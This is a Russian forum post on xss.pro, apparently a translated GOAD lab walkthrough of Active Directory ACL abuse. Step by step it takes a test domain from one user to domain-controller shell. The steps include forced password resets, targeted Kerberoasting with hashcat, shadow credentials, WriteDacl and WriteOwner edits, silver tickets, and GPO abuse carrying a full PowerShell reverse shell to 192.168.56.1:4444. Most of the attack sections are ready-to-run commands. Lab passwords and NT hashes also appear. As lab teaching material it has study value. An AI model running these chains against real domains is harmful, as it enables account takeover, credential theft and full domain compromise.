• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GOAD - часть 11 - ACL

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

В предыдущей записи мы проделали некоторые операции, используя делегирование. В этой статье мы будем развлекаться с ACL в лаборатории.
В active directory объекты права называются Access Control Entries (ACE), список ACE называется Access Control List (ACL).

Обновление ACL в лаборатории

Перед началом этой главы мы обновим пользователей и ACL в лабе:
Код:
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml
Это изменит многие отношения в лаборатории, потому что когда я изначально создавал acl, я установил много acl на группу администраторов домена. Но группа администраторов домена является защищенной группой, а эти группы защищены механизмом admin SD protect. Итак, когда лаборатория создана, все acl в порядке, но через час все acl, связанные с защищенными группами и их пользователями, удаляются. Я также добавил несколько групп и уязвимое gpo.
Список защищенных групп в активном каталоге: https://learn.microsoft.com/en-us/p...azine/ee361593(v=msdn.10)?redirectedfrom=MSDN
По умолчанию в Active Directory защищенные группы сбрасываются каждый час со значениями ACL, хранящимися в "CN=AdminSDHolder,CN=System,DC=yourdc".

Защищенные группы и связанные с ними пользователи затронуты

Операторы учетных записей
Администратор
Администраторы
Операторы резервного копирования
Администраторы домена
Контроллеры домена
Администраторы предприятий
Krbtgt
Операторы печати
Контроллеры домена только для чтения
Репликатор
Администраторы схем
Операторы сервера

Новый обзор ACL в лабораторной работе выглядит следующим образом :
Код:
MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' and u.admincount=false and not tolower(u.name) contains 'key' RETURN p
acl_overview_new.png


Для начала мы сфокусируемся на киллчейне ACL семикоролевств, начав с tywin.lannister (пароль: powerkingftw135).

Путь война таков:
  • Tywin -> Jaime : Change password user
  • Jaime -> Joffrey : Generic Write user
  • Joffrey -> Tyron : WriteDacl on user
  • Tyron -> small council : add member on group
  • Small council -> dragon stone : write owner group to group
  • dragonstone -> kingsguard : write owner to group
  • kingsguard -> stannis : Generic all on User
  • stannis -> kingslanding : Generic all on Computer
acl_sevenkingdoms.png


  • Попробуем проделать весь путь от tywin до kingslanding контроллера домена :)
  • Напоминание: Злоупотребление ACL приводит к изменению целей. Убедитесь, что вы знаете, что делаете, если попытаетесь использовать это во время аудита.

ForceChangePassword для пользователя (Тайвин -> Хайме)​

  • Это никогда не следует делать в пентесте (если клиент не согласен с этим). Вы не хотите блокировать пользователя во время аудита.
  • Как tywin.lannister мы изменим пароль jaime.lannister

acl_tywin_pss_jaime.png


Код:
net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local

Устанавливаем новый пароль jaime.
И проверьте пароль в порядке.

Код:
cme smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p pasdebraspasdechocolat

acl_change_password.png


GenericWrite для пользователя (Jaime до Joffrey)​

  • Поскольку мы только что установили пароль jaime, теперь мы будем использовать GenericWrite от Jaime до Joffrey.
acl_jaime_jeoffrey_genericwrite.png


Это можно провернуть 3 разными способами:
  • shadowCredentials (Windows Server 2016 или +)
  • targetKerberoasting (пароль должен быть достаточно слабым, чтобы его можно было взломать)
  • logonScript (для этого требуется подключение пользователя, и, честно говоря, это никогда не работало или если сценарий уже был внутри sysvol)

Целевой Kerberoasting​

  • Сначала давайте сделаем целевой Kerberoasting, принцип прост. Добавьте имя участника-службы для пользователя, запросите tgs, удалите имя участника-службы для пользователя.
  • И теперь мы можем взломать TGS так же, как классический kerberoasting.
  • Shutdown сделал инструмент, который сделает всю работу за вас: https://github.com/ShutdownRepo/targetedKerberoast
Код:
targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon

acl_target_kerberoasting.png


А теперь просто взломайте хэш

Код:
hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force

acl_kerberoasting_crack.png


Shadow Credentials​

Это уже было сделано ранее в этом блоге, одна из самых быстрых эксплойтов — с certipy:
Код:
certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'

acl_shadowcreds.png


Сценарий входа​

Чтобы показать значение ldap пути сценария вместо ldapsearch, используем инструмент ldeep

Код:
ldeep ldap -u jaime.lannister -p 'pasdebraspasdechocolat' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath

acl_show_scriptpath.png


Мы можем изменить это значение с помощью следующего скрипта:

Код:
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'scriptpath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share\exploit.bat')]})
print(ldap_con.result)
ldap_con.unbind()

acl_modify_ldap_scriptpath.png

  • но, к сожалению, это не сработает… :'( (если вы знаете, почему, пожалуйста, дайте мне знать, похоже, это работает, только если скрипт уже находится в sysvol)
  • Другой способ злоупотребить GenericWrite — изменить profilePath и дождаться соединения, чтобы получить аутентификацию NetNtlmv2 и передать его другому компьютеру или взломать его.
  • Измените значение profilePath с помощью следующего скрипта:

Код:
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share')]})
print(ldap_con.result)
ldap_con.unbind()


Запустите ответчик и смоделируйте соединение Джоффри, запустив соединение RDP.


Код:
responder -I vboxnet0
xfreerdp /d:sevenkingdoms.local /u:joffrey.baratheon /p:'1killerlion' /v:192.168.56.10 /size:80% /cert-ignore

И мы получаем хэш NetNLMV2 joffrey.baratheon и… kingslanding$ !

acl_profilePath.png


WriteDacl для пользователя (Джоффри -> Тайрон)

acl_writedacl_bh.png

Чтобы использовать writeDacl от Джоффри до Тайрона, мы можем использовать acleedit.py.
impacket Сначала мы клонируем форк , созданный с помощью shutdown (@_nwodtuhs), чтобы получить последний PR с помощью dacleedit.


Код:
git clone https://github.com/ThePorgs/impacket.git
cd impacket
python3 setup.py install
Код:
dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
Код:
dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
acl_dacl_read_permission.png


  • Хорошо, теперь измените разрешение на «Полный контроль» и посмотрите что выйдет:
Код:
dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon  -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

acl_dacl_writedacl.png

Хорошо, теперь мы можем:
  • сменить пароль тайрона
  • осуществить целевой kerberoasting
  • реализоватьshadowcredentials:
Для начала давайте просто используем shadowcredentials:

Код:
certipy shadow auto -u joffrey.baratheon@sevenkingdoms.local -p '1killerlion' -account 'tyron.lannister'
acl_ritedacl_shadowcreds.png

Добавить себя в группу (Tyron -> Small Council)

Теперь у нас есть tyron, поэтому мы можем использовать его добавив себя в группу small council.

acl_addself.png

Для начала найдите 5 отличий)

Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName
  • Добавим tyron в Small Council
Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
  • Посмотричте что из этого выйдет

Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'

acl_addself.png


AddMember в группу ( Small Council -> dragonstone)
Теперь, как tyron, мы находимся в small council, поэтому мы можем добавить члена в группу dragonstone. Поэтому мы просто добавим Тирона, как и раньше

acl_addmember.png


Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"

WriteOwner dragonstone -> kingsguard

Теперь с привилегией writeOwner мы можем изменить владельца kingsguard, чтобы он владел группой.

acl_write_owner.png


Код:
owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister

acl_changeowner.png


владельцем группы Kingsguard теперь является tyron.lannister.
Как владелец группы, мы теперь можем изменить ACL и дать нам GenericAll
Код:
dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister  -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998'
С GenericAll теперь мы можем добавить tyron в группу Kingsguard.
Код:
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
acl_writeowner_addgroup.png


GenericAll (kingsguard -> stannis)
Теперь tyron находится в Королевской гвардии, так что мы можем взять stannis под свой контроль с помощью стандартного All on stannis.

acl_genericall_group.png


изменим пароль stannis с помощью ldeep
Код:
net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local
  • Мы установим пароль Drag0nst0ne(я знаю, что это то же самое, что и раньше, но я не хотел менять скриншоты в следующей части :p)

GenericAll на компьютере (Stannis -> kingslanding)

  • Теперь у нас есть станнис, давайте доделаем домен с общим Запись на ДЦ

acl_genericwrite_computer.png

  • Одним из способов использования этого разрешения является использование ограниченного делегирования на основе ресурсов
  • Но что делать, если нельзя добавить компьютер в домен (все больше админовв отключают возможность простого пользователя добавлять компьютер в домены и это хорошая практика с точки зрения безопасности), можно провести атаку shadowcredential'
  • Таким образом, если ADCS включен в домене и у нас есть права на запись в msDS-KeyCredentialLink, мы можем провести атаку shadowcredential чтобы получить прямой доступ к целевой учетной записи. (точно так же, как мы делали это в части 5 )
  • Учетные данные Shadow теперь включаются в certipy (эту атаку также можно выполнить с помощью pywisker )
Код:
certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'Drag0nst0ne' -account 'kingslanding$'

acl_shadow_creds_computer.png

Теперь у нас есть tgt и NT-хэш kingslanding$.
Очевидно, что мы можем сделать dcsync, поскольку kingslanding является DC, но вместо этого давайте попробуем напрямую получить шелл.
Для этого проще всего использовать s4u2self или создать silver ticket
s4u2self: запросим TGS как пользователь домена Administrator
Код:
export KRB5CCNAME=/workspace/acl/kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'
И затем мы используем этот тикет для подключения от имени администратора
Код:
export KRB5CCNAME=/workspace/acl/Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

acl_s4u2self_abuse.png

Silver ticket​

Еще один способ получить шелл — создать Silver ticket:
  • Найдите SID домена:
Код:
lookupsid.py -hashes ':33a43e326dad53a516dc06393281d2cc' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0

acl_lokupsid.png

  • Создайте тикет:
Код:
ticketer.py -nthash '33a43e326dad53a516dc06393281d2cc' -domain-sid 'S-1-5-21-1409754491-4246775990-3914137275' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
  • И используйте его:
Код:
export KRB5CCNAME=/workspace/acl/Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
acl_silverticket.png


Хорошо, веселье с доменом sevenkingdoms.local закончилось, теперь давайте попробуем некоторые ACL в других доменах.

Злоупотребление объектами групповой политики
  • Злоупотребление GPO в северном домене
acl_gpo_abuse.png


  • Для злоупотребления GPO мы будем использовать проект, созданный Hackndo: pyGPOAbuse.
  • В файле readme github говорится: «Он создаст немедленную запланированную задачу как SYSTEM на удаленном компьютере для объекта групповой политики компьютера или как пользователь, вошедший в систему, для пользовательского объекта групповой политики».
Код:
git clone https://github.com/Hackndo/pyGPOAbuse.git
python3 -m virtualenv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
  • Мы получаем идентификатор от Bloodhound и запускаем эксплойт с помощью:
Код:
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4"

acl_gpo_abuse_schedule_task.png


Если мы посмотрим в графический интерфейс Windows, мы увидим созданную задачу

acl_gpo_abuse_schedule_task_result.png


  • Если мы подождем несколько минут или запустим gpudate /forceмы увидим нового пользователя локального администратора
acl_gpo_abuse_schedule_task_adduser.png


Теперь давайте попробуем получить обратный powershell.

Код:
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "don't worry"
И получаем её
acl_gpo_abuse_rev_shell.png

pyGPOAbuse изменяет объект групповой политики, не возвращаясь назад! Не используйте в производстве или на свой страх и риск и не забывайте очищать после

acl_gpo_cleanup.png


Получаем пороль локального администратора используя cme
Код:
cme ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps
acl_read_laps_cme.png


Шик блеск красота!!!

Ресурсы:​

Обещат еще 12 часть но пака не видно
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх